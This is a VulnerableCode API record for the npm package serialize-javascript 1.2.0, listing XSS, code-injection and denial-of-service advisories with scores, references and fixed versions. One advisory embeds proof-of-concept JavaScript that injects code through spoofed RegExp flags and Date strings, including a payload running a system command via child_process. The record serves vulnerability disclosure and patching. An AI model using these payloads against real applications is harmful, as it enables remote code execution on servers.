{"url":"http://public2.vulnerablecode.io/api/packages/197699?format=json","purl":"pkg:npm/serialize-javascript@1.2.0","type":"npm","namespace":"","name":"serialize-javascript","version":"1.2.0","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"7.0.5","latest_non_vulnerable_version":"7.0.5","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/50558?format=json","vulnerability_id":"VCID-3cbb-ghjz-fyhn","summary":"Cross-Site Scripting in serialize-javascript\nVersions of `serialize-javascript` prior to 2.1.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize serialized regular expressions. This vulnerability does not affect Node.js applications.\n\n\n## Recommendation\n\nUpgrade to version 2.1.1 or later.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2019-16769.json","reference_id":"","reference_type":"","scores":[{"value":"5.4","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2019-16769.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2019-16769","reference_id":"","reference_type":"","scores":[{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.61092","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.61016","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.61064","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.6108","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.61101","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.61087","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.61068","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.6111","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.61116","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.61099","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.611","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.60945","published_at":"2026-04-01T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.61021","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.6105","published_at":"2026-04-04T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2019-16769"},{"reference_url":"https://github.com/advisories/GHSA-h9rv-jmmf-4pgx","reference_id":"","reference_type":"","scores":[{"value":"4.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-h9rv-jmmf-4pgx"},{"reference_url":"https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-h9rv-jmmf-4pgx","reference_id":"","reference_type":"","scores":[{"value":"4.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-h9rv-jmmf-4pgx"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2019-16769","reference_id":"","reference_type":"","scores":[{"value":"4.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2019-16769"},{"reference_url":"https://www.npmjs.com/advisories/1426","reference_id":"","reference_type":"","scores":[{"value":"4.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://www.npmjs.com/advisories/1426"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=1848092","reference_id":"1848092","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1848092"},{"reference_url":"https://access.redhat.com/errata/RHSA-2020:2796","reference_id":"RHSA-2020:2796","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2020:2796"},{"reference_url":"https://access.redhat.com/errata/RHSA-2020:4298","reference_id":"RHSA-2020:4298","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2020:4298"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/78824?format=json","purl":"pkg:npm/serialize-javascript@2.1.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@2.1.1"}],"aliases":["CVE-2019-16769","GHSA-h9rv-jmmf-4pgx"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-3cbb-ghjz-fyhn"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/22287?format=json","vulnerability_id":"VCID-4zkq-sw4a-e7c3","summary":"Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()\n### Impact\n\nThe serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.\n\nWhile `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.\n\nIf an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.\n\n```javascript\nconst serialize = require('serialize-javascript');\n// Create an object that passes instanceof RegExp with a spoofed .flags\nconst fakeRegex = Object.create(RegExp.prototype);\nObject.defineProperty(fakeRegex, 'source', { get: () => 'x' });\nObject.defineProperty(fakeRegex, 'flags', {\n  get: () => '\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"'\n});\nfakeRegex.toJSON = function() { return '@placeholder'; };\nconst output = serialize({ re: fakeRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"\")}\nlet obj;\neval('obj = ' + output);\nconsole.log(global.PWNED); // \"CODE_INJECTION_VIA_FLAGS\" — injected code executed!\n#h2. PoC 2: Code Injection via Date.toISOString()\n```\n\n```javascript\nconst serialize = require('serialize-javascript');\nconst fakeDate = Object.create(Date.prototype);\nfakeDate.toISOString = function() { return '\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"'; };\nfakeDate.toJSON = function() { return '2024-01-01'; };\nconst output = serialize({ d: fakeDate });\n// Output: {\"d\":new Date(\"\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"\")}\neval('obj = ' + output);\nconsole.log(global.DATE_PWNED); // \"DATE_INJECTION\" — injected code executed!\n#h2. PoC 3: Remote Code Execution\n```\n\n```javascript\nconst serialize = require('serialize-javascript');\nconst rceRegex = Object.create(RegExp.prototype);\nObject.defineProperty(rceRegex, 'source', { get: () => 'x' });\nObject.defineProperty(rceRegex, 'flags', {\n  get: () => '\"+require(\"child_process\").execSync(\"id\").toString()+\"'\n});\nrceRegex.toJSON = function() { return '@rce'; };\nconst output = serialize({ re: rceRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+require(\"child_process\").execSync(\"id\").toString()+\"\")}\n// When eval'd on a Node.js server, executes the \"id\" system command\n```\n\n### Patches\n\nThe fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3","references":[{"reference_url":"https://github.com/advisories/GHSA-hxcc-f52p-wc94","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-hxcc-f52p-wc94"},{"reference_url":"https://github.com/yahoo/serialize-javascript","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript"},{"reference_url":"https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9"},{"reference_url":"https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3"},{"reference_url":"https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7660","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7660"},{"reference_url":"https://github.com/advisories/GHSA-5c6j-r48x-rmvq","reference_id":"GHSA-5c6j-r48x-rmvq","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-5c6j-r48x-rmvq"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/64878?format=json","purl":"pkg:npm/serialize-javascript@7.0.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@7.0.3"}],"aliases":["GHSA-5c6j-r48x-rmvq"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-4zkq-sw4a-e7c3"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/33383?format=json","vulnerability_id":"VCID-k6ny-gfg9-8ugd","summary":"Insecure serialization leading to RCE in serialize-javascript\nserialize-javascript prior to 3.1.0 allows remote attackers to inject arbitrary code via the function \"deleteFunctions\" within \"index.js\". \n\nAn object such as `{\"foo\": /1\"/, \"bar\": \"a\\\"@__R-<UID>-0__@\"}` was serialized as `{\"foo\": /1\"/, \"bar\": \"a\\/1\"/}`, which allows an attacker to escape the `bar` key. This requires the attacker to control the values of both `foo` and `bar` and guess the value of `<UID>`. The UID has a keyspace of approximately 4 billion making it a realistic network attack.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-7660.json","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-7660.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2020-7660","reference_id":"","reference_type":"","scores":[{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86394","published_at":"2026-04-29T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86358","published_at":"2026-04-12T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86353","published_at":"2026-04-13T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86369","published_at":"2026-04-16T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86374","published_at":"2026-04-18T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86367","published_at":"2026-04-21T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86388","published_at":"2026-04-24T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86397","published_at":"2026-04-26T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.8629","published_at":"2026-04-01T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86299","published_at":"2026-04-02T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86317","published_at":"2026-04-04T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86318","published_at":"2026-04-07T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86336","published_at":"2026-04-08T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86346","published_at":"2026-04-09T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.8636","published_at":"2026-04-11T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2020-7660"},{"reference_url":"https://github.com/yahoo/serialize-javascript","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript"},{"reference_url":"https://github.com/yahoo/serialize-javascript/commit/f21a6fb3ace2353413761e79717b2d210ba6ccbd","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript/commit/f21a6fb3ace2353413761e79717b2d210ba6ccbd"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7660","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7660"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=1844228","reference_id":"1844228","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1844228"},{"reference_url":"https://access.redhat.com/errata/RHSA-2020:2796","reference_id":"RHSA-2020:2796","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2020:2796"},{"reference_url":"https://access.redhat.com/errata/RHSA-2020:2861","reference_id":"RHSA-2020:2861","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2020:2861"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/73177?format=json","purl":"pkg:npm/serialize-javascript@3.1.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@3.1.0"}],"aliases":["CVE-2020-7660","GHSA-hxcc-f52p-wc94"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-k6ny-gfg9-8ugd"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24544?format=json","vulnerability_id":"VCID-vn8z-q24d-57bu","summary":"Serialize JavaScript has CPU Exhaustion Denial of Service via crafted array-like objects\n### Impact\n\n**What kind of vulnerability is it?**\n\nIt is a **Denial of Service (DoS)** vulnerability caused by CPU exhaustion. When serializing a specially crafted \"array-like\" object (an object that inherits from `Array.prototype` but has a very large `length` property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely.\n\n**Who is impacted?**\n\nApplications that use `serialize-javascript` to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to **Prototype Pollution** or handles untrusted data via **YAML Deserialization**, as these could be used to inject the malicious object.\n\n### Patches\n\n**Has the problem been patched?**\n\nYes, the issue has been patched by replacing `instanceof Array` checks with `Array.isArray()` and using `Object.keys()` for sparse array detection.\n\n**What versions should users upgrade to?**\n\nUsers should upgrade to **`v7.0.5`** or later.\n\n### Workarounds\n\n**Is there a way for users to fix or remediate the vulnerability without upgrading?**\n\nThere is no direct code-level workaround within the library itself. However, users can mitigate the risk by:\n\n* Validating and sanitizing all input before passing it to the `serialize()` function.\n* Ensuring the environment is protected against Prototype Pollution.\n* Upgrading to **`v7.0.5`** as soon as possible.\n\n### Acknowledgements\n\nSerialize JavaScript thanks **Tomer Aberbach** (@TomerAberbach) for discovering and privately disclosing this issue.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-34043.json","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-34043.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34043","reference_id":"","reference_type":"","scores":[{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04128","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04094","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04061","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04076","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00038","scoring_system":"epss","scoring_elements":"0.11348","published_at":"2026-04-02T12:55:00Z"},{"value":"0.0004","scoring_system":"epss","scoring_elements":"0.12185","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00052","scoring_system":"epss","scoring_elements":"0.16392","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00052","scoring_system":"epss","scoring_elements":"0.16334","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00052","scoring_system":"epss","scoring_elements":"0.16396","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00052","scoring_system":"epss","scoring_elements":"0.16436","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00052","scoring_system":"epss","scoring_elements":"0.16305","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00052","scoring_system":"epss","scoring_elements":"0.16451","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00052","scoring_system":"epss","scoring_elements":"0.16291","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00052","scoring_system":"epss","scoring_elements":"0.16271","published_at":"2026-04-16T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34043"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34043","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34043"},{"reference_url":"https://github.com/yahoo/serialize-javascript","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript"},{"reference_url":"https://github.com/yahoo/serialize-javascript/commit/f147e90269b58bb6e539cfdf3d0e20d6ad14204b","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-31T13:55:44Z/"}],"url":"https://github.com/yahoo/serialize-javascript/commit/f147e90269b58bb6e539cfdf3d0e20d6ad14204b"},{"reference_url":"https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.5","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-31T13:55:44Z/"}],"url":"https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.5"},{"reference_url":"https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-qj8w-gfj5-8c6v","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-31T13:55:44Z/"}],"url":"https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-qj8w-gfj5-8c6v"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34043","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34043"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1132605","reference_id":"1132605","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1132605"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2453284","reference_id":"2453284","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2453284"},{"reference_url":"https://github.com/advisories/GHSA-qj8w-gfj5-8c6v","reference_id":"GHSA-qj8w-gfj5-8c6v","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-qj8w-gfj5-8c6v"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67750?format=json","purl":"pkg:npm/serialize-javascript@7.0.5","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@7.0.5"}],"aliases":["CVE-2026-34043","GHSA-qj8w-gfj5-8c6v"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-vn8z-q24d-57bu"}],"fixing_vulnerabilities":[],"risk_score":"4.0","resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.2.0"}